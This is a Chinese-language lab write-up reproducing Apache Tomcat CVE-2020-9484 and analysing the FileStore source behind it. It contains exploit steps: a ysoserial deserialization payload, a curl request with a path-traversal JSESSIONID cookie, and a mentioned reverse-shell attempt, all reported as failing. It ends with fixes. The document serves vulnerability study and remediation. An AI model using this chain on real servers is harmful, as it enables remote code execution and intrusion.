Apache Tomcat 是一個開放源代碼、運行servlet和JSP Web應用軟件的基於Java的Web應用軟件容器。java
此次是因爲錯誤配置和 org.apache.catalina.session.FileStore 的 LFI 和反序列化漏洞引發的 RCE。
當配置了 org.apache.catalina.session.PersistentManager 而且使用 org.apache.catalina.session.FileStore 來儲存 session 時, 用戶能夠經過 org.apache.catalina.session.FileStore 的一個 LFI 漏洞來讀取服務器上任意以 .session結尾的文件。而後經過反序列化來運行 .session 文件。
默認狀況是使用 org.apache.catalina.session.StandardManager, 將 session儲存到內存,而 PersistentManager 會將不經常使用的 session swap out, 從而減小內存佔用。git
Apache Tomcat:
• 10.0.0-M1 to 10.0.0-M4
• 9.0.0.M1 to 9.0.34
• 8.5.0 to 8.5.54
• 7.0.0 to 7.0.103github
使用Vulfocus搭建環境 下載 vulfocus/tomcat-cve_2020_9484 https://hub.docker.com/r/vulfocus/tomcat-cve_2020_9484 啓動 docker run -d --name tomcat-cve_2020_9484 -p 8080:8080 vulfocus/tomcat-cve_2020_9484:latest
0、環境
物理機:Windows 10
虛擬機:CentOS 7,安裝docker
靶機:Tomcat,docker版
目標是在服務器上執行命令 touch /tmp/666,假設 666.session文件已經被上傳到服務器的已知位置。docker
一、進入容器bash
docker run -it vulfocus/tomcat-cve_2020_9484 /bin/bash
shell
二、下載 ysoserial:一個生成java反序列化 payload 的 .jar 包
三、執行下面語句生成 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/666" > /tmp/666.session
四、執行
curl 'http://127.0.0.1:8080' -H 'Cookie: JSESSIONID=../../../../../tmp/666.session'
可是執行失敗,緣由未知......
五、排錯過程
已經開啓容器端口轉發
docker run -d --name 94844 -p 8080:8080 vulfocus/tomcat-cve_2020_9484:latest'
物理機訪問也是正常的
apache
一、官網自行搜索題目環境,打開環境。根據docker hub的提示,須要自行構造表單POST請求
二、Burp上傳文件
我用的是Burp,shell.session的內容是使用ysoserial生成的payload,目標是反彈shell。生成過程跟上面的一致。
這裏值得注意的是,要右鍵-「Paste from file」,不要直接打開.session文件,而後複製粘貼(編碼與格式問題,會致使內容錯誤)。
三、修改cookie
可見返回404
VPS也的確沒彈回shell,失敗......
tomcat
0x07 漏洞分析
此處使用 Tomcat 10.0.0-M4 來作分析
這裏主要是 FileStore 的 LFI 漏洞能夠反序列化任意路徑上的 .session 文件, 若是同時存在文件上傳漏洞的話就是 RCE 了。
首先看 FileStore 源碼, 當用戶請求裏帶有 JSESSIONID 時,會運行存在問題的 load 方法bash
public Session load(String id) throws ClassNotFoundException, IOException { // Open an input stream to the specified pathname, if any File file = file(id); if (file == null || !file.exists()) { return null; } Context context = getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isDebugEnabled()) { contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath())); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null); try (FileInputStream fis = new FileInputStream(file.getAbsolutePath()); ObjectInputStream ois = getObjectInputStream(fis)) { StandardSession session = (StandardSession) manager.createEmptySession(); session.readObjectData(ois); session.setManager(manager); return session; } catch (FileNotFoundException e) { if (contextLog.isDebugEnabled()) { contextLog.debug("No persisted data file found"); } return null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL); } }
load 會先將 session id 轉換成 file object 查看文件是否存在, 若是存在的話會讀取文件. file object 會爲輸入的 id 添加
.session 後綴 然而並無驗證文件的目錄服務器
private File file(String id) throws IOException { if (this.directory == null) { return null; } String filename = id + FILE_EXT; File file = new File(directory(), filename); return file; }
當文件存在時, 系統會運行 org.apache.catalina.session.getObjectInputStream
方法cookie
protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException { BufferedInputStream bis = new BufferedInputStream(is); CustomObjectInputStream ois; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (manager instanceof ManagerBase) { ManagerBase managerBase = (ManagerBase) manager; ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(), managerBase.getSessionAttributeValueClassNamePattern(), managerBase.getWarnOnSessionAttributeFilterFailure()); } else { ois = new CustomObjectInputStream(bis, classLoader); } return ois; }
getObjectInputStream
方法運行 org.apache.catalina.util.CustomObjectInputStream
獲取 gadget
類, 而後就反序列化.session
文件了。
對比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源碼能夠發現作了目錄驗證。
修復方式就是升級,或者配置WAF,過濾掉 ../ 之類的字符串,或者不使用 FileStore。
• https://my.oschina.net/u/4593034/blog/4418600
• https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
• https://y4er.com/post/cve-2020-9484-tomcat-session-rce/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484
• https://github.com/masahiro331/CVE-2020-9484